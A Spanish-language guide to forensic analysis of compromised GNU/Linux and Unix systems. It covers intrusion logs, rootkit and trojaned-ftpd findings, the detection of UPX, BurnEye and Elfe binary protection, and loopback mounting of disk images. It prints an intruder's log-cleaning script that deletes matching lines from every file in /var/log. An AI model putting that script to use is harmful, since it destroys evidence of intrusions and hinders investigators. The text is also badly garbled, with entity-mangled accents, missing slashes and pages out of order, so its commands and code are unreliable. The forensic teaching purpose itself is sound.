Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 19: Análisis Forense de Sistemas GNU/Linux, Unix

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

